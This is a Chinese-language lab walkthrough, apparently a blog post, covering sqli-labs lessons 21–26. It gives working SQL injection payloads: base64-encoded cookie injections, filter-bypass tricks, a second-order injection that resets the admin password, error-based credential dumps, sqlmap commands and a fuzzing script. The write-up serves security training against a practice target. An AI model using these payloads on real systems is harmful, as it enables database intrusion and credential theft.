WEB常见漏洞之SQL注入(靶场篇—2)1

本文涉及的产品
RDS MySQL Serverless 基础系列,0.5-2RCU 50GB
云数据库 RDS MySQL,集群系列 2核4GB
推荐场景:
搭建个人博客
云数据库 RDS PostgreSQL,集群系列 2核4GB
简介: WEB常见漏洞之SQL注入(靶场篇—2)

0x01 高级注入 21-37

Lesson-21

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

640.png


目标SQL语句如下:

if cookie 不存在 $uname: 
    if 提交 $uname 和 $passwd
        $uname = $POST['uname'];
        $passwd = $POST['passswd'];
        $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1;
        $cookee = $row1['username'];
        # 返回内容
        if 返回SQL查询结果:
            setcookie('uname', base64_encode($row1['username']), timne()-3600)
        else:
            print_r(mysql_error());
else:
    if POST 数据中没有 $submit:
        $cookee = base64_decode($cookee);
        $sql = "select * from users WHERE usernmae=('$cookee') LIMIT 0,1";
        if 无查询结果:
            print_r(mysql_error());
        else:
            输出查询信息
    else:
        setcookie('uname', base64_encode($row1['username']), timne()-3600);

注意:本题与Lesson20的利用方式相同,只不过它修改拼接方式,由单引号改为单括号单引号同时对cookie进行base64编码

登录成功后界面如下:

使用联合查询判断字段数


Cookie: uname=YWRtaW4nKSBvcmRlciBieSAzIw== //返回正常界面



640.png

Cookie: uname=YWRtaW4nKSBvcmRlciBieSA0Iw== //返回错误界面

640.png

由此可说明字段数为3,通过 union select 查看回显位置


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMiwzIw==



640.png

查询基础信息

Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix1c2VyKCkj
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMix2ZXJzaW9uKCkj
Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==

640.png


查询表名


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQodGFibGVfbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIw==

查询列名


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoY29sdW1uX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgd2hlcmUgdGFibGVfbmFtZT0ndXNlcnMnI


640.png


查询关键信息


Cookie: uname=LWFkbWluJykgdW5pb24gc2VsZWN0IDEsZ3JvdXBfY29uY2F0KHVzZXJuYW1lKSxncm91cF9jb25jYXQocGFzc3dvcmQpIGZyb20gdXNlcnMj

也可以直接说使用 sqlmap 使用 base64 编码进行注入


sqlmap -u "http://172.16.117.135/sqli/Less-21/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3


Lesson-22

该题为Cookie post型注入,利用方式包括联合注入、报错注入、布尔盲注、时间盲注,登录界面以 post 方式接收变量

目标SQL语句如下:

if cookie 不存在 $uname: 
    if 提交 $uname 和 $passwd
        $uname = $POST['uname'];
        $passwd = $POST['passswd'];
        $sql = select users.username, users.password from users where users.username=$uname and users.password=$passwd ORDER BY users.id DESC limit 0,1;
        $cookee = $row1['username'];
        # 返回内容
        if 返回SQL查询结果:
            setcookie('uname', base64_encode($row1['username']), timne()-3600)
        else:
            print_r(mysql_error());
else:
    if POST 数据中没有 $submit:
        $cookee = base64_decode($cookee);
        $cookee = '"'.$cookee.'"'
        $sql = "select * from users WHERE usernmae=$cookee LIMIT 0,1";
        if 无查询结果:
            print_r(mysql_error());
        else:
            输出查询信息
    else:
        setcookie('uname', base64_encode($row1['username']), timne()-3600);

注意:本题与Lesson21的利用方式相同,只不过它修改了拼接方式,由单括号单引号改为双引号

登录成功后界面如下:

使用联合查询判断字段数


Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDQj //返回正常界面


Cookie: uname=YWRtaW4iIG9yZGVyIGJ5IDMj //返回错误界面

由此可说明字段数为3,通过 union select 查看回显位置


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLDM

查询基础信息

Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHVzZXIoKSM=
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLHZlcnNpb24oKSM=
Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

640.png

查询表名


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hPSdzZWN1cml0eScj

查询列名


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSkgZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyB3aGVyZSB0YWJsZV9uYW1lPSd1c2Vycyc

查询关键信息


Cookie: uname=LWFkbWluIiB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=


也可以直接说使用 sqlmap 使用 base64 编码进行注入


sqlmap -u "http://172.16.117.135/sqli/Less-22/" --cookie="uname=*" --tamper="base64encode" --dbms=MySQL --random-agent --flush-session --technique=U -v 3


Lesson-23

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'


目标SQL语句如下:

$id=$_GET['id']
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql = select * from users where id='$id' limit 0,1
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意:该题与Lesson1的利用方式相同,只不过过滤了注释符号,因此我们可利用闭合的方式进行注入

使用联合查询判断注入点,尝试验证


id=1' AND '1'='1 //返回正常界面


id=1' AND '1'='2 //返回错误界面

判断字段数


id=1' order by 4 and '1'='1 //返回正常界面

在尝试使用 order by 判断字段数时发现无论字段数取多少目标都会返回正常,在数据库中执行相关语句可帮助我们发现存在的问题

SELECT * FROM users WHERE id='1' and '1'='1' order by 4 LIMIT 0,1;
SELECT * FROM users WHERE id='1' order by 4 and '1'='1' LIMIT 0,1;

在 MySQL 中order bywhere是子语句,and是连接符。前者将id='1' and '1'='1'作为where的条件被率先执行并得到结果,而后执行order by 4,由于结果中不存在第四个字段报错。后者order bywhere的条件中,执行时order by被忽略,因此得到结果后也不会执行order by

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=-1' union select 1,2,3 and '1'='1



id=-1' union select 1,2,3,4 and '1'='1

查询基础信息

id=-1' union select 1,user(),3 and '1'='1
id=-1' union select 1,version(),3 and '1'='1
id=-1' union select 1,database(),3 and '1'='1

640.png

查询表名


id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security' and '1'='1

查询列名


id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and '1'='1

查询关键信息


id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 and '1'='1

Lesson-24

该题为经典的二次注入场景,在登录界面以 post 方式接收变量,存在忘记密码和新建用户选项

使用正确的密码登录成功也没有发现异常信息,利用点可能在新的功能选项上

目标SQL语句如下:

//login_create.php
username = mysql_escape_string($_POST['username']);
$pass = mysql_escape_string($_POST['password']);
$re_pass = mysql_escape_string($_POST['re_password']);
#查询用户是否已经存在
$sql = "select count(*) from users where username = '$username'";
if 两次密码输入一致:
    $sql = "insert into users (username,password) values(\"$username\", \"$pass\")";
else:
    提示密码输入不一致
//login.php
$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
//pass_change.php
if 未登录:
    重定向至首页
if 检测提交表单:
    $username = $_SESSION["username"];
    $curr_pass = mysql_real_escape_string($_POST['current_password']);
    $pass = mysql_real_escape_string($_POST['password']);
    $re_pass = mysql_real_escape_string($_POST['re_password']);
    if 两次密码一致:
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'";
    else:
        提示密码输入不一致并重定向至失败界面

注意:该题与以往的注入都有点不同,它需要采用二次注入的方式来完成利用。那么何谓二次注入呢?简单来说就是黑客首先将没有触发行为的SQL语句插入至数据库当中,再调用插入的SQL语句触发攻击行为。

mysql_escape_string是 PHP 中的一个过滤函数,可在危险字符前自动添加带反斜杠字符。因此无论是在登录时还是注册时都无法进行注入,通过注册特殊的用户名后可在更新密码时完成二次注入,以下则是存在注入的语

UPDATE uers SET PASSWORD='$pass' where 
username='$username' and password='$curr_pass'

带入特殊的用户名admin'#后语句如下:

UPDATE users SET PASSWORD='$pass' where 
username='admin'# and password='$curr_pass'

首先我们构造一个特殊的用户名进行注册以便于修改 admin 用户的密码


admin'#

通过数据库语句查询用户名,发现注册用户完成后该表中的其他数据并未发生变化


SELECT * FROM users;

登录刚注册的admin'#用户,但我们并没有发现密码修改界面,这是怎么回事呢?这是因为解压将文件logged-in.php损坏了,需要重新解压直至该文件大小为2 KB才正常解析

再次注册并登录admin'#用户

点击reset修改密码完成

通过数据库语句再次查询用户名,发现 admin 用户密码已成功修改为 123


SELECT * FROM users;

使用 admin/123 进行登录,登录成功

Lesson-25

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:

$id=$_GET['id']
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);    
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意:该题与Lesson23的利用方式相同,只不过过滤条件由注释符换成了关键词and和or,因此我们可利用双写或符号替换的方式的方式进行注入

绕过方式如下:

# 关键字双写
or => oorr
and => anandd
# 替换字符
or => ||
and => &&

使用联合查询判断注入点,尝试验证


id=1' anandd '1'='1 //返回正常界面


id=1' anandd '1'='2 //返回错误界面

判断字段数


id=1' oorrder by 3--+ //返回正常界面


id=1' oorrder by 4--+ //返回错误界面


由此可判断字段数为3,通过 union select 判断回显位置


id=-1' union select 1,2,3--+

查询基础信息



id=-1' union select 1,version(),user()--+id=-1' union select 1,database(),3--+

查询表名


id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables wheretable_schema = 'security'--+

table_schema = 'security'--+wan

查询列名

id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+

查询关键信息

id=-1' union select 1,group_concat(username),group_concat(password) from users--+
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+


640.png

Lesson-25a

该题为数字型get型注入,利用方式包括联合查询注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:

$id=$_GET['id']
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);    
# 返回内容
if true:
    输出查询内容;
else:
    输出存在错误;

注意:该题与Lesson25的利用方式相同,只不过拼接方式由单引号变成了纯数字,同时不再输出详细的MySQL报错信息,因此无法使用报错注入进行攻击

绕过方式如下:

# 关键字双写
or => oorr
and => anandd
# 替换字符
or => ||
and => &&

使用联合查询判断注入点,尝试验证


id=1 anandd 1=1 //返回正常界面


id=1 anandd 1=2 //返回错误界面

判断字段数


id=1 oorrder by 3--+ //返回正常界面


id=1 oorrder by 4--+ //返回错误界面

由此可判断字段数为3,通过 union select 判断回显位置


id=-1 union select 1,2,3--+

查询基础信息

id=-1 union select 1,version(),user()--+
id=-1 union select 1,database(),3--+


640.png

查询表名


id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema = 'security'--+

查询列名


id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name = 'users'--+

查询关键信息

id=-1' union select 1,group_concat(username),group_concat(password) from users--+
id=-1' union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3--+


640.png

Lesson-26

该题为单引号get型注入,利用方式包括联合查询注入、报错注入、布尔盲注、时间盲注


id=1'

目标SQL语句如下:

$id=$_GET['id']
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/and/i',"", $id);
$id= preg_replace('/[\/\*]/',"", $id);
$id= preg_replace('/[--]/',"", $id);
$id= preg_replace('/[#]/',"", $id);
$id= preg_replace('/[\s]/',"", $id);
$id= preg_replace('/[\/\\\\]/',"", $id);
# 返回内容
if true:
    输出查询内容;
else:
    print_r(mysql_error());

注意:该题与Lesson25的利用方式相同,只不过过滤条件添加了空格、注释符等,我们需要使用更多手段进行绕过

过滤andor绕过方式如下:

# 关键字双写
or => oorr
and => anandd
# 替换字符
or => ||
and => &&

过滤注释符可使用闭合绕过:


注释符 => ' and '1'='1

过滤空格可替换特殊符号进行绕过:

%09 #Tab键
%0a #新建一行
%0c #新的一页
%0d #return功能
%0b #Tab键
%a0 #空格

如果不知道哪些符号可替换可使用如下脚本进行检测:

import requests
def changeToHex(num):
    tmp = hex(i).replace("0x", "")
    if len(tmp)<2:
        tmp = '0' + tmp
    return "%" + tmp
req = requests.session()
for i in xrange(0,256):
    i = changeToHex(i) 
    url = "http://172.16.117.135/sqli/Less-26/?id=1'" + i + "%26%26" + i + "'1'='1"
    ret = req.get(url)
    if 'Dumb' in ret.content:
        print "good,this can use:" + i


640.png


解析问题在判断字段数时我们发现无论怎么更换 payload,目标都会报错。后来发现这并不是我们的 payload 存在问题,而是因为 Windows 环境无法使用一些特殊字符来代替空格,因此存在两种解决方式,一是不使用空格用报错注入进行利用;二是将环境切换至 Linux 当中。


id=1'%0aoorrder%0aby%0a3%0aaandnd%0a'1'='1

使用 Docker 搭建 Linux 环境是一个不错的选择



docker pull acgpiano/sqli-labsdocker run -dt --name sqli-lab -p 8888:80 acgpiano/sqli-labs:latest

搭建完成后访问本地 8888 端口并初始化环境

使用报错注入判断注入点,尝试验证


id=1'%0aanandd%0a'1'='1 //返回正常界面


id=1'%0aanandd%0a'1'='2 //返回错误界面

不使用空格可进行报错注入,首先获取基础信息


id=-1'||updatexml(1,concat(0x7e,(database())),0)||'1'='1

查询表名



id=-1'||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),0)||'1'='1

查询列名


id=-1'||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name='users'))),0)||'1'='1

查询关键信息,寻找 id 为1的用户信息


id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=1)),0)||'1'='1

寻找 id 为2的用户信息


id=-1'||updatexml(1,concat(0x7e,(select(concat(username,0x7e,passwoorrd))from(users)where(id)=2)),0)||'1'='1

使用联合查询判断字段数,在新环境下再次判断字段数会出现与Lesson23同样的情况


id=1'%a0oorrder%a0by%a04%a0aandnd%a0'1'='1

因此我们不能使用 order by 来判断字段数,需要通过 union select 判断


id=0'%a0union%a0select%a01,2,3%a0aandnd%a0'1'='1


id=0'%a0union%a0select%a01,2,3,4%a0aandnd%a0'1'='1

这里还有一个小插曲,由于-号被过滤,原先用来报错的-1已经改为0,当然也可以使用足够大的数来使数据库查询报错,如100

查询基础信息

id=0'%a0union%a0select%a01,user(),3%a0aandnd%a0'1'='1
id=0'%a0union%a0select%a01,version(),3%a0aandnd%a0'1'='1
id=0'%a0union%a0select%a01,database(),3%a0aandnd%a0'1'='1


640.png


查询表名


id=0'%a0union%a0select%a01,group_concat(table_name),3%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema='security'%a0aandnd%a0'1'='1

查询列名


id=0'%a0union%a0select%a01,group_concat(column_name),3%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='users'%a0aandnd%a0'1'='1


查询关键信息


id=0'%a0union%a0select%a01,(select%a0group_concat(concat_ws(0x7e,username,password))%a0from%a0users),3%a0aandnd%a0'1'='1



相关实践学习
如何在云端创建MySQL数据库
开始实验后,系统会自动创建一台自建MySQL的 源数据库 ECS 实例和一台 目标数据库 RDS。
全面了解阿里云能为你做什么
阿里云在全球各地部署高效节能的绿色数据中心,利用清洁计算为万物互联的新世界提供源源不断的能源动力,目前开服的区域包括中国(华北、华东、华南、香港)、新加坡、美国(美东、美西)、欧洲、中东、澳大利亚、日本。目前阿里云的产品涵盖弹性计算、数据库、存储与CDN、分析与搜索、云通信、网络、管理与监控、应用服务、互联网中间件、移动服务、视频服务等。通过本课程,来了解阿里云能够为你的业务带来哪些帮助 &nbsp; &nbsp; 相关的阿里云产品:云服务器ECS 云服务器 ECS(Elastic Compute Service)是一种弹性可伸缩的计算服务,助您降低 IT 成本,提升运维效率,使您更专注于核心业务创新。产品详情: https://www.aliyun.com/product/ecs
目录
相关文章
|
2月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
140 1
|
21天前
|
SQL 安全 前端开发
Web学习_SQL注入_联合查询注入
联合查询注入是一种强大的SQL注入攻击方式,攻击者可以通过 `UNION`语句合并多个查询的结果,从而获取敏感信息。防御SQL注入需要多层次的措施,包括使用预处理语句和参数化查询、输入验证和过滤、最小权限原则、隐藏错误信息以及使用Web应用防火墙。通过这些措施,可以有效地提高Web应用程序的安全性,防止SQL注入攻击。
42 2
|
2月前
|
SQL
Web for Pentester SQL sql注入靶场
Web for Pentester SQL sql注入靶场
|
3月前
|
缓存 移动开发 安全
Web安全-HTTP响应拆分(CRLF注入)漏洞
Web安全-HTTP响应拆分(CRLF注入)漏洞
179 8
|
3月前
|
安全 关系型数据库 Shell
Web安全-浅析CSV注入漏洞的原理及利用
Web安全-浅析CSV注入漏洞的原理及利用
159 3
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
140 5
|
3月前
|
SQL 安全 Go
SQL注入不可怕,XSS也不难防!Python Web安全进阶教程,让你安心做开发!
在Web开发中,安全至关重要,尤其要警惕SQL注入和XSS攻击。SQL注入通过在数据库查询中插入恶意代码来窃取或篡改数据,而XSS攻击则通过注入恶意脚本来窃取用户敏感信息。本文将带你深入了解这两种威胁,并提供Python实战技巧,包括使用参数化查询和ORM框架防御SQL注入,以及利用模板引擎自动转义和内容安全策略(CSP)防范XSS攻击。通过掌握这些方法,你将能够更加自信地应对Web安全挑战,确保应用程序的安全性。
98 3
|
2月前
|
SQL 运维 安全
怎样可以找到SQL漏洞:技巧与方法详解
SQL漏洞,特别是SQL注入漏洞,是Web应用中常见的安全威胁之一
|
3月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
126 1
|
3月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
51 1